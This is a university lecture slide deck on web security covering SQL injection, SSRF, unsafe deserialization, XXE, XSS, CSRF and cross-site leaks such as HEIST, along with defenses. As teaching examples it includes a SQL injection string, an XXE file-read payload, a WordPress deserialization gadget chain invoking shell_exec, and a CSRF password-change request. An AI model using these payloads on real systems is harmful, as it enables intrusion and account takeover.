Web Security

by Tom Van Goethem
Web security

history, evolution & future
The Web: history

› Designed many years ago
  › Primary purpose: static information retrieval

› Many evolutions over time
  › Static -> dynamic
  › No authentication -> cookies
  › Server -> client
  › New web APIs

› Let's allows anyone to run code in our browser; what could possibly go wrong?

› Let's include cookies in all requests; what could possibly go wrong?
The Web: evolution

› New features allow new use cases
  › Without cookies, the web would have looked very differently

› Usually it takes some time before issues surface
  › At design-time: possible issues not present/insignificant
  › As the web evolves: issues appear or become significant

› Very hard to take features out of the web platform
  › Many parties already rely on these features
  › Browsers don't want to break websites

› New features hard to make future-proof
  › Difficult to predict how the web will evolve & which other features will be added

› Web-security: whack-a-mole
Web security: the future?

- New security features are added
  - Mainly through request/response headers
  - Some effort to have security by design: e.g. trusted types
    - Protects against DOM-based XSS
  - Example: HTTP state tokens to replace cookies
    - Client controls token value, not accessible from JS, HTTPS only, same-site only, non-persistent by default

- New web APIs are constantly being added
  - Usually introduces unexpected side-effects (e.g. <portal>)

- Existing features are being changed
  - Cookies: Chrome will make it SameSite by default (how it should have been from the beginning)
Web security

Web vulnerabilities
Web vulnerabilities

› Server-side
   › Attacker interacts directly with the server

› Client-side
   › Attacker tricks the victim to interact in unexpected ways with the server
### Web vulnerabilities

<table>
<thead>
<tr>
<th>Server-side</th>
<th>Client-side</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image1" alt="Devil" /></td>
<td><img src="image2" alt="User" /></td>
</tr>
<tr>
<td><img src="image3" alt="Database" /></td>
<td><img src="image4" alt="Browser" /></td>
</tr>
</tbody>
</table>

![Diagram](image5)
# Web vulnerabilities

## Server-side
- SQL injection
- Insecure direct object references (IDOR)
- Command injection
- Server-side request forgery (SSRF)
- XML external entities (XXE)
- Remote/Local file inclusion (RFI/LFI)
- Unsafe deserialization
- Timing attacks

## Client-side
- Cross-site scripting (XSS)
- Clickjacking
- Cross-site request forgery (CSRF)
- HTTP response splitting
- Open redirect
- CORS misconfiguration
- Authentication issues
- Cross-site script inclusion (XSSI)
- XSLeaks
Server-side web vulnerabilities
Server-side web vulnerabilities

SQL injection
Server-side: SQL injection

- Attacker injects content in the SQL query
  - Changes syntax of the query

```php
$name = $_GET['name']
$query = "SELECT name FROM users WHERE name = '$name' ";
```

- ?name=x' OR name = 'admin
Server-side: SQL injection

› Also applies to NoSQL queries

› Difficulty of exploitation can differ
  › Straightforward: parameter used in WHERE statement
  › More difficult: unable to observe response; need to rely on side-channel information, e.g. SLEEP(1)

› Can be difficult to detect
  › Second-order: injected content is first stored in DB

› Affects many major web applications
  › In 2014, all Drupal installations were found to be vulnerable (Drupalgeddon)
Server-side: SQL injection

- Defense: escape all user input
  - Not recommended: developer may forget, unclear what to do for dynamically generated queries

- Defense: prepared statements
  - When done correctly, much harder to make mistakes
  - Recommended!
  - String query = "SELECT name FROM users WHERE name = ?";
  PreparedStatement pstmt = connection.prepareStatement(query);
  pstmt.setString(1, request.getParameter("name"));
Server-side web vulnerabilities

Server-side Request Forgery (SSRF)
Server-side: server-side request forgery

- Attacker triggers the targeted server to send a request to an arbitrary endpoint
- Can be used to extract sensitive information from the system
- Example: AWS keys may be extracted
- Some (internal) databases provide REST interfaces
  - Attacker can leak information from internal services
Server-side: server-side request forgery

› Defense: perform input validation
  › Can be tricky because of URL parsing inconsistencies
  › Where does this request go to? https://evil.com/@good.com/
  › What about this one? https://evil.com/[good.com]/
  › And this one? http://2852039166
  › And what about the many many more examples

› Be conservative in what you allow!
  › `input.startswith('https://good.com/')`
Server-side web vulnerabilities

Unsafe deserialization
Many programming languages allow (de)serialization of objects
  » Java, Python, PHP, Ruby, ...

Deserialization: transforming string back into an object
  » Dangerous when string is controlled by attacker

Special functions may be called during deserialization or during object lifetime
  » Can be abused to perform unintended actions on arbitrary objects

Exploitation typically requires “gadgets” from other code
Server-side: Unsafe deserialization

› Can lead to remote code execution
  » Depends on code available during execution
  » Tool for Java: ysoserial

› Defense
  » Do not use programming language's object serialization
  » Use e.g. JSON instead

Server-side: Unsafe deserialization

› WordPress cached meta-information in database
  » write -> maybe_serialize(): serialize if object or array, or is_serialized(string) returns true => double serialization (for compat.)
  » read -> maybe_unserialize(): unserialize if is_serialized(string) returns false

› What do we need for a vulnerability?
  » is_serialized($str) === FALSE;
     write_to_db($str);
     $str_2 = read_from_db();
     is_serialized($str_2) === TRUE;
Server-side: Unsafe deserialization

› is_serialized($str)
   ‚ returns TRUE if $str starts with s/a/O/b/i/d (string, array, bool, …) and $str ends with ; or }

› Trick: use "special" UTF-8 characters
   ‚ WordPress uses MySQL by default, with a collation set to "utf8"
   ‚ MySQL's utf8 does not support all of utf8, only "base plane": code points U+000000 until U+00FFFF
   ‚ When inserting character outside of base plane: MySQL drops character and everything after it (only a warning)
   ‚ Example: 💩
   ‚ For full UTF-8 support: use utf8mb4
Server-side: Unsafe deserialization

> Payload:

```php
$str = '0:3:"Foo":0:{}
```

```plaintext
is_serialized($str) === FALSE (does not end with }
```

```php
$str_2 = 0:3:"Foo":0:{
```

```plaintext
is_serialized($str_2) === TRUE (ends with }
```

```plaintext
=> a new Foo object is created
```

```plaintext
__destruct(), __toString(), __wakeup() are called
```
Server-side: Unsafe deserialization

› Exploitation:
  » No gadgets available in WordPress base
  » Many installations use plugins! Gadgets galore!
  » Example: Lightbox Plus ColorBox (contains no specific vulnerabilities)
  » Results in remote code execution
<?php

class simple_html_dom_node {
    private $dom;

    public function __construct() {
        $callback = array(new WP_Screen(), 'render_screen_meta');
        $this->dom = (object) array('callback' => $callback);
    }
}

class WP_Screen {
    private $_help_tabs;
    public $action;

    function __construct() {
        $count = array('count' => 'echo "h4x3d" > /tmp/hacked');
        $this->action = (object) $count;
        $this->_help_tabs = array(array(
            'callback' => 'wp_generate_tag_cloud',
            'topic_count_scale_callback' => 'shell_exec'));
    }
}

echo serialize(new simple_html_dom_node()).'▲';
?>
Alternative:

- Abuse PHP’s SimpleXML module
- Exploit leverages classes from WordPress core + SimpleXML
- Triggers unsafe operations on XML objects
- Causes an XML External Entities vulnerability
- Leak file content from web server (e.g. wp-config.php)
- Works on all installations that have the SimpleXML module
Server-side web vulnerabilities

XML External Entities
Server-side: XML External Entities (XXE)

› Vulnerability exists when parsing attacker-provided XML

› Attacker includes external entity that refers to specific endpoint

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY> 
  <!ENTITY xxe SYSTEM "file:///etc/password" > 
 ]> 
<foo>&xxe;</foo>
```
Server-side: XML External Entities (XXE)

- Attacker can read out arbitrary files
- Possible to perform SSRF attacks through XXE
- More advanced attack techniques possible: e.g. out-of-band
  - When attacker can not read out XXE response directly
  - Triggers request with file content to attacker server

- Defense: disable external entities in XML parser
Client-side web vulnerabilities
Client-side web security

Same-Origin Policy
Client-side: same-origin policy

› siteA can not access any content/cookies from siteB

› To interact, siteA can send `postMessage()` to siteB who listens for messages via `window.addEventListener('message', handler)`

› siteA can send a request to siteB, but should not be able to obtain any information about the response
  › Side-channel information may still be available (see: XSLeaks)
Client-side: security feature delivery

GET /index.html
User-Agent: Firefox
Accept: text/html

200 OK
Content-Type: text/html
Strict-Transport-Security: max-age=631138519

enforce
Client-side web vulnerabilities

Cross-site Scripting
Client-side: cross-site scripting

› XSS is caused by injecting attacker-controlled content into web page without proper encoding
  » < should be encoded as &lt;

› Malicious content can originate from request (parameter/referrer/...), or database (reflected vs persistent)

› Content may be written dynamically in JavaScript or generated on the server side (DOM-based vs server-side)

› Attacker can run arbitrary content on web page: steal cookies, take over entire website, ...
# Client side: cross-site scripting

<table>
<thead>
<tr>
<th>Server-side</th>
<th>Reflected</th>
<th>Persistent</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>DOM-based</strong></td>
<td><code>print('Hello %s' % params.name)</code></td>
<td><code>print('Comment: %s' % db.getComment())</code></td>
</tr>
<tr>
<td></td>
<td><code>el.innerHTML = 'a' + location.hash</code></td>
<td><code>el.innerHTML = 'a' + localStorage.getItem('b')</code></td>
</tr>
</tbody>
</table>
Many defenses

» Correctly encode dynamic content (based on context: different encoding is needed for element attribute vs element content

» Several defenses try to minimize consequences, or make exploitation more difficult

» HttpOnly cookies: cookies with this attribute can not be read from JS

» X-XSS-Protection: Chrome has built-in detection for reflected XSS

» Content-Security-Policy: define where JavaScript can originate from

» CSP v3: strict-dynamic + nonce => all scripts with random nonce are loaded, these can dynamically load new scripts

» Trusted types: defends against DOM-based XSS by design
Client-side web vulnerabilities

Cross-site Request Forgery
Client-side: cross-site request forgery

› Attacker makes victim's browser send a request to target site
   » Victim's cookie for target site is included

› Target site processes request in name of the victim
   » Target site can not differentiate legitimate requests from attacker-triggered request

› Defense: require + validate randomly generated token in form
   » Token can not be guessed by the attacker; if incorrect: abort operation

› Defense: SameSite cookie (becomes default in Chrome soon)
   » Cookie with SameSite attribute is not sent for cross-site requests
fetch("https://example.com/change-password",
{
    method: "POST",
    body: "new_password=h4x0r3d",
    mode: "no-cors",
    credentials: "include"

});
Client-side web vulnerabilities

XSLeaks
Client-side: XSLeaks

- Cross-site leaks: obtain side-channel information of cross-origin resource
- Same attack scenario as with CSRF
  - Victim executes JS on attacker.com
- Types of side-channel information
  - Size, web page has iframe, response status
- Response from website depends on state of the user
  - Attacker can infer this state
May leak information about user state (privacy)

~183kB
May leak information (security)

Client-side: XSLeaks

- XS-Search is an instance of XSLeaks
  - Abuses search functionality of target site
  - Leverages either processing time or response size
  - May try to perform response (size/time) inflation

- search(keyword) returns 1/0 results
  - Response inflation: 1 result will be repeated many times
  - Response time leaks whether 1 or 0 results were returned

- Search for secret string character by character
Client-side: XSLeaks

› Techniques to leak response size:
  › Web timing
  › Browser timing
  › Browser storage quota
  › TCP windows (HEIST)

› Other leaking vectors:
  › Frame count
  › Number of redirects
  › Error events: response status
  › XSS filter: presence of JS code
  › ...


Client-side web vulnerabilities

XSLeaks: web/browser timing
Cross-site timing attacks [1]

• State-dependent content

Browser-based timing attacks [1]

Start timer ➔ suspend

Stop timer ➔ error

<video src="https://example.com/index.html">

→ Abuse of firing events during parsing process
  - suspend when fetched
  - error on fail

let url = 'https://example.org/resource';
let opts = {credentials: "include", mode: "no-cors"};
let request = new Request(url, opts);
let bogusReq = new Request('/bogus');
fetch(request).then(function(resp) {
  // Resource download complete
  start = window.performance.now();
  return cache.put(bogusReq, resp.clone());
}).then(function() {
  // Resource stored in cache
  end = window.performance.now();
});
The graph shows the average time to perform a timing attack (ms) as a function of the difference in file size (kB). Four types of attacks are compared:

- Classic timing attack
- Video parsing attack
- Cache storing attack
- Cache + video parsing attack

The x-axis represents the difference in file size, ranging from 0 to 100 kB, and the y-axis represents the average time to perform a timing attack, ranging from 0 to 8000 ms.
XSLeaks: Browser-based timing attacks

- Can differentiate resource that differ few KB
- Video parsing mechanisms already patched in several browsers
  - New features may cause new side-channels (e.g. SRI, image parsing, ...)
- Real-world attacks can be improved by using response inflation
  - One result is repeated many times → difference in response size is artificially enlarged
- Attacks discovered in 2016; bug hunters starting to leverage techniques
XS-Searching Google’s bug tracker to find out vulnerable source code

Or how side-channel timing attacks aren’t that impractical

Luan Herrera  Follow
Nov 19, 2018 · 6 min read

Monorail is an open-source issue tracker used by many “Chromium-orbiting” projects, including Monorail itself. Other projects include Angle, PDFium, Gerrit, V8, and the Alliance for Open Media. It is also used by Project Zero, Google’s 0-day bug-finding team.

This article is a detailed explanation of how I could have exploited Google’s Monorail issue tracker to leak sensitive information (vulnerable source code
Client-side web vulnerabilities

XSLeaks: storage quota
XSLeaks: Abusing storage quota

› Each site (eTLD+1) has a specific quota
  » IndexedDB, localStorage, ...
  » Cross origin resources (!!!)

› When quota is reached, any attempt to store more is blocked

› Can be used to determine **exact size** of cross-origin resource

› Exact size --> defenses against response inflation do not work
Quota
Step 1: fill
Step 1: fill
Step 2: remove x
Step 1: fill
Step 2: remove x
Step 3: store resource
Step 1: fill
Step 2: remove x
Step 3: store resource
Step 4: fill
Step 1: fill
Step 2: remove x
Step 3: store resource
Step 4: fill
Step 5: $x - y = \text{SIZE}$
Client-side web vulnerabilities

XSLeaks: TCP windows (HEIST)
XSLeaks: HEIST

(HTTP Encrypted Information can be Stolen through TCP Windows)

- Determine **exact** response size (compressed)
- 1 TCP window = 10 TCP packets = 14480 bytes of data
- 2\textsuperscript{nd} TCP window can only start after ACK (\textasciitilde additional round-trip)
- Response fits in 1 TCP window \textasciitilde 1 RTT, otherwise 2+ RTTs
- Use side-channel to detect when headers are received
  - fetch() promise resolves
- Use side-channel to detect when full response is received
  - Cache API store + read
- Timing difference < 5ms \textasciitilde 1 TCP window, otherwise 2 TCP windows
Response (14480 bytes)
1\textsuperscript{st} TCP window
1st TCP window

fetch() resolves

Timing difference

cache store + read finishes
Response (14481 bytes)
1\textsuperscript{st} TCP window

2\textsuperscript{nd} TCP window

ACK
1\textsuperscript{st} TCP window

fetch() resolves

Timing difference (much bigger)

2\textsuperscript{nd} TCP window

ACK

cache store + read finishes
XSLeaks: HEIST

- Important prerequisite: reflection of request in response
  - Needed to align on TCP window size

- Exact size is known after compression
  - Allows for BREACH-like attack
Hello \$_GET['name'], your secret value is COSIC_COURSE

?name=Tom

gzip(Hello Tom, your secret value is COSIC_COURSE)

  ==> Hello Tom, your secret value is COSIC_COURSE

?name=COSI

gzip(Hello COSI, your secret value is COSIC_COURSE)

  ==> Hello COSI, your secret value is @-27,4C_COURSE
?name=COSIx

gzip(Hello COSIx, your secret value is COSIC_COURSE)

  ==> Hello COSIx, you secret value is @-27,4C_COURSE
      --> 42 bytes

?name=COSIC

gzip(Hello COSIC, your secret value is COSIC_COURSE)

  ==> Hello COSIC, you secret value is @-28,5_COURSE
      --> 41 bytes
XSLeaks: HEIST

› Can be used to extract cross-origin secrets (CSRF tokens)

› Defense: disable compression for sensitive content
  >> [https://blog.cloudflare.com/a-solution-to-compression-oracles-on-the-web/](https://blog.cloudflare.com/a-solution-to-compression-oracles-on-the-web/)
  >> Not widely deployed, requires regex to know what is sensitive

› Defense: refresh tokens after N requests
  >> Can be tricky + what about other sensitive content?

› Large-scale impact: to be explored
Client-side web vulnerabilities

XSLeaks: Defenses
XSLeaks: Defenses

› SameSite cookie (to prevent authenticated requests)
  › Not sufficient: `window.open()`

› Fetch-Metadata
  › New feature (not yet implemented)
  › Adds request headers to give web server information on how the request was sent

› Cross-Origin-Opener-Policy (COOP)
  › New feature (not yet implemented)
  › Reference to opened window becomes `null` => can not redirect
Takeaways
# Web vulnerabilities

<table>
<thead>
<tr>
<th>Server-side</th>
<th>Client-side</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL injection</td>
<td>Cross-site scripting (XSS)</td>
</tr>
<tr>
<td>Insecure direct object references (IDOR)</td>
<td>Clickjacking</td>
</tr>
<tr>
<td>Command injection</td>
<td>Cross-site request forgery (CSRF)</td>
</tr>
<tr>
<td>Server-side request forgery (SSRF)</td>
<td>HTTP response splitting</td>
</tr>
<tr>
<td>XML external entities (XXE)</td>
<td>Open redirect</td>
</tr>
<tr>
<td>Remote/Local file inclusion (RFI/LFI)</td>
<td>CORS misconfiguration</td>
</tr>
<tr>
<td>Unsafe deserialization</td>
<td>Authentication issues</td>
</tr>
<tr>
<td>Timing attacks</td>
<td>Cross-site script inclusion (XSSI)</td>
</tr>
<tr>
<td>XSLeaks</td>
<td></td>
</tr>
</tbody>
</table>
Takeaways

› Web security covers both client-side and server-side

› New features often introduce new vulnerabilities
  » Request remote content: SSRF
  » Serialization: unsafe deserialization
  » Browser quota: determine size
  » Security should always be considered!

› Many defenses are available
  » It is becoming increasingly difficult to correctly apply all consistently
Questions?